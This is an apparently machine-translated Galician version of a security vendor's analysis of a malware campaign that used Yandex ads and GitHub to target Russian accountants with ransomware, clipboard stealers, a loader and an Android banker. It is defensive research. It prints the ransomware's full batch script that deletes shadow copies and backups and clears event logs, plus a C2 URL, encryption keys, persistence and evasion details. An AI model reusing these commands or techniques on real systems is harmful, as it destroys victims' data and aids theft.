Para apuntar aos contadores nun ciberataque, podes usar documentos de traballo que buscan en liña. Isto é aproximadamente o que un grupo cibernético estivo a facer nos últimos meses, distribuíndo portas traseiras coñecidas. и , así como cifradores e software para roubar criptomoedas. A maioría dos obxectivos localízanse en Rusia. O ataque levouse a cabo colocando publicidade maliciosa en Yandex.Direct. As posibles vítimas foron dirixidas a un sitio web onde se lles pedía que descargaran un ficheiro malicioso disfrazado de modelo de documento. Yandex eliminou a publicidade maliciosa despois da nosa advertencia.
O código fonte de Buhtrap filtrouse en liña no pasado para que calquera poida usalo. Non temos información sobre a dispoñibilidade do código RTM.
Nesta publicación contarémosche como os atacantes distribuíron malware usando Yandex.Direct e o aloxaron en GitHub. A publicación concluirá cunha análise técnica do malware.
Buhtrap e RTM volven ao negocio
Mecanismo de propagación e vítimas
As distintas cargas útiles entregadas ás vítimas comparten un mecanismo de propagación común. Todos os ficheiros maliciosos creados polos atacantes colocáronse en dous repositorios GitHub diferentes.
Normalmente, o repositorio contiña un ficheiro malicioso descargable, que cambiaba con frecuencia. Dado que GitHub permítelle ver o historial de cambios nun repositorio, podemos ver o malware que se distribuíu durante un período determinado. Para convencer á vítima de que descargue o ficheiro malicioso, utilizouse o sitio web blanki-shabloni24[.]ru, que se mostra na figura anterior.
O deseño do sitio e todos os nomes dos ficheiros maliciosos seguen un único concepto: formularios, modelos, contratos, mostras, etc. Tendo en conta que o software Buhtrap e RTM xa se utilizaron en ataques a contadores no pasado, supuxemos que o A estratexia da nova campaña é a mesma. A única pregunta é como chegou a vítima ao sitio web dos atacantes.
Infección
Polo menos varias vítimas potenciais que acabaron neste sitio foron atraídas pola publicidade maliciosa. A continuación móstrase un exemplo de URL:
https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456
Como podes ver na ligazón, o banner publicouse no foro de contabilidade lexítimo bb.f2[.]kz. É importante ter en conta que os banners apareceron en sitios diferentes, todos tiñan o mesmo identificador de campaña (blanki_rsya) e a maioría estaban relacionados con servizos de contabilidade ou asistencia xurídica. O URL mostra que a vítima potencial utilizou a solicitude "descargar formulario de factura", que apoia a nosa hipótese de ataques dirixidos. A continuación móstranse os sitios onde apareceron os banners e as consultas de busca correspondentes.
- descargar formulario de factura – bb.f2[.]kz
- contrato de mostra - Ipopen[.]ru
- mostra de reclamación da aplicación - 77metrov[.]ru
- formulario de acordo - blank-dogovor-kupli-prodazhi[.]ru
- exemplo de petición xudicial - zen.yandex[.]ru
- queixa de mostra - Yurday[.]ru
- Modelos de contratos – Regforum[.]ru
- formulario de contrato – assistentus[.]ru
- exemplo de acordo de apartamento - napravah[.]com
- mostras de contratos legais - avito[.]ru
O sitio Blanki-shabloni24[.]ru puido estar configurado para pasar unha avaliación visual sinxela. Normalmente, un anuncio que apunta a un sitio de aspecto profesional cunha ligazón a GitHub non parece algo obviamente malo. Ademais, os atacantes cargaron ficheiros maliciosos no repositorio só durante un período limitado, probablemente durante a campaña. Na maioría das veces, o repositorio de GitHub contiña un arquivo zip baleiro ou un ficheiro EXE en branco. Así, os atacantes poderían distribuír publicidade a través de Yandex.Direct en sitios que probablemente fosen visitados por contadores que acudiron en resposta a consultas de busca específicas.
A continuación, vexamos as distintas cargas útiles distribuídas deste xeito.
Análise de carga útil
Cronoloxía da distribución
A campaña maliciosa comezou a finais de outubro de 2018 e está activa no momento de escribir este artigo. Dado que todo o repositorio estaba dispoñible publicamente en GitHub, compilamos unha cronoloxía precisa da distribución de seis familias de malware diferentes (consulta a figura a continuación). Engadimos unha liña que mostra cando se descubriu a ligazón do banner, medida pola telemetría de ESET, para comparar co historial de git. Como podes ver, isto correlaciona ben coa dispoñibilidade da carga útil en GitHub. A discrepancia a finais de febreiro pódese explicar polo feito de que non tiñamos parte do historial de cambios porque o repositorio foi eliminado de GitHub antes de que puidésemos obtelo completo.
Figura 1. Cronoloxía da distribución do malware.
Certificados de sinatura de código
A campaña utilizou varios certificados. Algúns foron asinados por máis dunha familia de malware, o que indica ademais que diferentes mostras pertencían á mesma campaña. A pesar da dispoñibilidade da clave privada, os operadores non asinaron sistematicamente os binarios e non usaron a clave para todas as mostras. A finais de febreiro de 2019, os atacantes comezaron a crear sinaturas non válidas utilizando un certificado propiedade de Google para o que non tiñan a clave privada.
Todos os certificados implicados na campaña e as familias de malware que asinan están listados na seguinte táboa.
Tamén utilizamos estes certificados de sinatura de código para establecer ligazóns con outras familias de malware. Para a maioría dos certificados, non atopamos mostras que non fosen distribuídas a través dun repositorio de GitHub. Non obstante, o certificado TOV "MARIYA" utilizouse para asinar malware pertencente á botnet , adware e mineiros. É pouco probable que este malware estea relacionado con esta campaña. O máis probable é que o certificado foi comprado na darknet.
Win32/Filecoder.Buhtrap
O primeiro compoñente que nos chamou a atención foi o recén descuberto Win32/Filecoder.Buhtrap. Este é un ficheiro binario Delphi que ás veces se empaqueta. Distribuíuse principalmente entre febreiro e marzo de 2019. Compórtase como corresponde a un programa de ransomware: busca unidades locais e cartafoles de rede e cifra os ficheiros que atopa. Non necesita unha conexión a Internet para estar comprometida porque non se contacta co servidor para enviar claves de cifrado. Pola contra, engade un "token" ao final da mensaxe de rescate e suxire usar o correo electrónico ou Bitmessage para contactar cos operadores.
Para cifrar tantos recursos sensibles como sexa posible, Filecoder.Buhtrap executa un fío de discusión deseñado para apagar o software clave que pode ter abertos controladores de ficheiros que conteñan información valiosa que podería interferir co cifrado. Os procesos obxectivo son principalmente sistemas de xestión de bases de datos (DBMS). Ademais, Filecoder.Buhtrap elimina ficheiros de rexistro e copias de seguridade para dificultar a recuperación de datos. Para iso, execute o script por lotes a continuación.
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled
Filecoder.Buhtrap usa un servizo de rexistro de IP en liña lexítimo deseñado para recoller información sobre os visitantes do sitio web. Destínase a rastrexar as vítimas do ransomware, que é responsabilidade da liña de comandos:
mshta.exe "javascript:document.write('');"
Os ficheiros para o cifrado son seleccionados se non coinciden con tres listas de exclusión. En primeiro lugar, os ficheiros coas seguintes extensións non están cifrados: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys e .morcego. En segundo lugar, exclúense todos os ficheiros para os que a ruta completa contén cadeas de directorio da lista a continuación.
.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel
En terceiro lugar, certos nomes de ficheiros tamén están excluídos do cifrado, entre eles o nome do ficheiro da mensaxe de rescate. A lista preséntase a continuación. Obviamente, todas estas excepcións están destinadas a manter a máquina en funcionamento, pero cunha aptitude mínima para a circulación.
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe
Esquema de cifrado de ficheiros
Unha vez executado, o malware xera un par de claves RSA de 512 bits. O expoñente privado (d) e o módulo (n) son entón cifrados cunha clave pública de 2048 bits (expoñente e módulo público), empaquetada en zlib e codificada en base64. O código responsable diso móstrase na Figura 2.
Figura 2. Resultado da descompilación de Hex-Rays do proceso de xeración de pares de claves RSA de 512 bits.
A continuación móstrase un exemplo de texto simple cunha clave privada xerada, que é un token adxunto á mensaxe de rescate.
DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239
A clave pública dos atacantes indícase a continuación.
e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD
Os ficheiros están cifrados mediante AES-128-CBC cunha clave de 256 bits. Para cada ficheiro cifrado, xéranse unha nova clave e un novo vector de inicialización. A información clave engádese ao final do ficheiro cifrado. Consideremos o formato do ficheiro cifrado.
Os ficheiros cifrados teñen a seguinte cabeceira:
Os datos do ficheiro de orixe coa adición do valor máxico de VEGA cífranse nos primeiros 0x5000 bytes. Toda a información de descifrado está adxunta a un ficheiro coa seguinte estrutura:
- O marcador de tamaño do ficheiro contén unha marca que indica se o ficheiro ten un tamaño superior a 0x5000 bytes
— Blob de chaves AES = ZlibCompress(RSAEncrypt(clave AES + IV, chave pública do par de claves RSA xerado))
- Blob de claves RSA = ZlibCompress(RSAEncrypt (clave privada RSA xerada, clave pública RSA codificada))
Win32/ClipBanker
Win32/ClipBanker é un compoñente que se distribuíu de forma intermitente desde finais de outubro ata principios de decembro de 2018. O seu papel é supervisar o contido do portapapeis, busca enderezos de carteiras de criptomonedas. Tras determinar o enderezo da carteira de destino, ClipBanker substitúeo por un enderezo que se cre que pertence aos operadores. As mostras que examinamos non estaban nin encaixadas nin ofuscadas. O único mecanismo usado para enmascarar o comportamento é o cifrado de cadeas. Os enderezos da carteira do operador cífranse mediante RC4. As criptomoedas obxectivo son Bitcoin, Bitcoin cash, Dogecoin, Ethereum e Ripple.
Durante o período en que o malware se estendeu ás carteiras de Bitcoin dos atacantes, enviouse unha pequena cantidade a VTS, o que pon en dúbida o éxito da campaña. Ademais, non hai probas que suxiran que estas transaccións estivesen relacionadas con ClipBanker.
Win32/RTM
O compoñente Win32/RTM foi distribuído durante varios días a principios de marzo de 2019. RTM é un banqueiro troiano escrito en Delphi, dirixido a sistemas bancarios remotos. En 2017, os investigadores de ESET publicaron deste programa, a descrición aínda é relevante. En xaneiro de 2019, Palo Alto Networks tamén se lanzou .
Cargador Buhtrap
Durante algún tempo, estivo dispoñible en GitHub un descargador que non era semellante ás ferramentas anteriores de Buhtrap. El vólvese a https://94.100.18[.]67/RSS.php?<some_id> para obter a seguinte etapa e cargala directamente na memoria. Podemos distinguir dous comportamentos do código da segunda etapa. No primeiro URL, RSS.php pasou directamente a porta traseira de Buhtrap; esta porta traseira é moi semellante á dispoñible despois de filtrar o código fonte.
Curiosamente, vemos varias campañas coa porta traseira de Buhtrap, e supostamente están dirixidas por diferentes operadores. Neste caso, a principal diferenza é que a porta traseira cárgase directamente na memoria e non usa o esquema habitual co proceso de implantación de DLL do que falamos. . Ademais, os operadores cambiaron a clave RC4 utilizada para cifrar o tráfico da rede ao servidor C&C. Na maioría das campañas que vimos, os operadores non se molestaron en cambiar esta chave.
O segundo comportamento, máis complexo, foi que o URL RSS.php pasou a outro cargador. Implementou algunha ofuscación, como a reconstrución da táboa de importación dinámica. O propósito do cargador de arranque é contactar co servidor C&C [.]com/api/F27F84EDA4D13B15/2, envíe os rexistros e agarde unha resposta. Procesa a resposta como un blob, cárgaa na memoria e execútaa. A carga útil que vimos executando este cargador era a mesma porta traseira de Buhtrap, pero pode haber outros compoñentes.
Android/Spy.Banker
Curiosamente, tamén se atopou un compoñente para Android no repositorio de GitHub. Estivo na filial principal só un día: o 1 de novembro de 2018. Ademais de publicarse en GitHub, a telemetría de ESET non atopa evidencia de que este malware se distribúa.
O compoñente aloxouse como un paquete de aplicacións de Android (APK). Está moi ofuscado. O comportamento malicioso está oculto nun JAR cifrado situado no APK. Cifrárase con RC4 usando esta clave:
key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]
A mesma chave e algoritmo úsanse para cifrar cadeas. JAR está situado en APK_ROOT + image/files. Os primeiros 4 bytes do ficheiro conteñen a lonxitude do JAR cifrado, que comeza inmediatamente despois do campo de lonxitude.
Despois de descifrar o ficheiro, descubrimos que antes era Anubis banker para Android. O malware ten as seguintes características:
- gravación de micrófono
- tomando capturas de pantalla
- obtención de coordenadas GPS
- keylogger
- cifrado de datos do dispositivo e demanda de rescate
- enviando spam
Curiosamente, o banqueiro utilizou Twitter como canle de comunicación de reserva para obter outro servidor C&C. A mostra que analizamos utilizaba a conta @JonesTrader, pero no momento da análise xa estaba bloqueada.
O banqueiro contén unha lista de aplicacións de destino no dispositivo Android. É máis longo que a lista obtida no estudo de Sophos. A lista inclúe moitas aplicacións bancarias, programas de compras en liña como Amazon e eBay e servizos de criptomoeda.
MSIL/ClipBanker.IH
O último compoñente distribuído como parte desta campaña foi o executable .NET Windows, que apareceu en marzo de 2019. A maioría das versións estudadas foron empaquetadas con ConfuserEx v1.0.0. Do mesmo xeito que ClipBanker, este compoñente usa o portapapeis. O seu obxectivo é unha ampla gama de criptomoedas, así como ofertas en Steam. Ademais, usa o servizo IP Logger para roubar a clave WIF privada de Bitcoin.
Mecanismos de protección
Ademais dos beneficios que proporciona ConfuserEx para evitar a depuración, o dumping e a manipulación, o compoñente inclúe a capacidade de detectar produtos antivirus e máquinas virtuais.
Para verificar que se executa nunha máquina virtual, o malware usa a liña de comandos WMI (WMIC) integrada de Windows para solicitar información da BIOS, a saber:
wmic bios
A continuación, o programa analiza a saída do comando e busca palabras clave: VBOX, VirtualBox, XEN, qemu, bochs, VM.
Para detectar produtos antivirus, o malware envía unha solicitude de Instrumentación de xestión de Windows (WMI) ao Centro de seguridade de Windows mediante ManagementObjectSearcher API como se mostra a continuación. Despois de decodificar desde base64 a chamada ten o seguinte aspecto:
ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')
Figura 3. Proceso de identificación de produtos antivirus.
Ademais, o malware comproba se , unha ferramenta para protexerse contra ataques do portapapeis e, se se está a executar, suspende todos os fíos dese proceso, desactivando así a protección.
Persistencia
A versión do malware que estudamos cópiase a si mesma %APPDATA%googleupdater.exe e establece o atributo "oculto" para o directorio de Google. Entón ela cambia o valor SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell no rexistro de Windows e engade o camiño updater.exe. Deste xeito, o malware executarase cada vez que o usuario inicie sesión.
Comportamento malicioso
Do mesmo xeito que ClipBanker, o malware supervisa o contido do portapapeis e busca enderezos de carteira de criptomonedas e, cando se atopa, substitúeo por un dos enderezos do operador. A continuación móstrase unha lista de enderezos de destino en función do que se atopa no código.
BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL
Para cada tipo de enderezo hai unha expresión regular correspondente. O valor STEAM_URL úsase para atacar o sistema Steam, como se pode ver na expresión regular que se usa para definir no búfer:
b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b
Canle de exfiltración
Ademais de substituír enderezos no búfer, o malware ten como obxectivo as claves WIF privadas das carteiras Bitcoin, Bitcoin Core e Electrum Bitcoin. O programa usa plogger.org como canle de exfiltración para obter a clave privada WIF. Para iso, os operadores engaden datos de chave privada á cabeceira HTTP User-Agent, como se mostra a continuación.
Figura 4. Consola IP Logger con datos de saída.
Os operadores non usaron iplogger.org para exfiltrar carteiras. Probablemente recorreron a un método diferente debido ao límite de 255 caracteres no campo User-Agentaparece na interface web do IP Logger. Nas mostras que estudamos, o outro servidor de saída almacenábase na variable de ambiente DiscordWebHook. Sorprendentemente, esta variable de ambiente non está asignada en ningún lugar do código. Isto suxire que o malware aínda está en desenvolvemento e que a variable está asignada á máquina de proba do operador.
Hai outro sinal de que o programa está en desenvolvemento. O ficheiro binario inclúe dous URL iplogger.org, e ambos son consultados cando se extraen datos. Nunha solicitude a un destes URL, o valor do campo Referer vai precedido de "DEV /". Tamén atopamos unha versión que non foi empaquetada con ConfuserEx, o destinatario deste URL chámase DevFeedbackUrl. Con base no nome da variable de ambiente, cremos que os operadores planean usar o servizo lexítimo Discord e o seu sistema de interceptación web para roubar carteiras de criptomonedas.
Conclusión
Esta campaña é un exemplo do uso de servizos de publicidade lexítimos en ciberataques. O esquema ten como obxectivo organizacións rusas, pero non nos sorprendería ver un ataque deste tipo utilizando servizos non rusos. Para evitar compromisos, os usuarios deben confiar na reputación da fonte do software que descargan.
Unha lista completa de indicadores de compromiso e atributos MITRE ATT&CK está dispoñible en .
Fonte: www.habr.com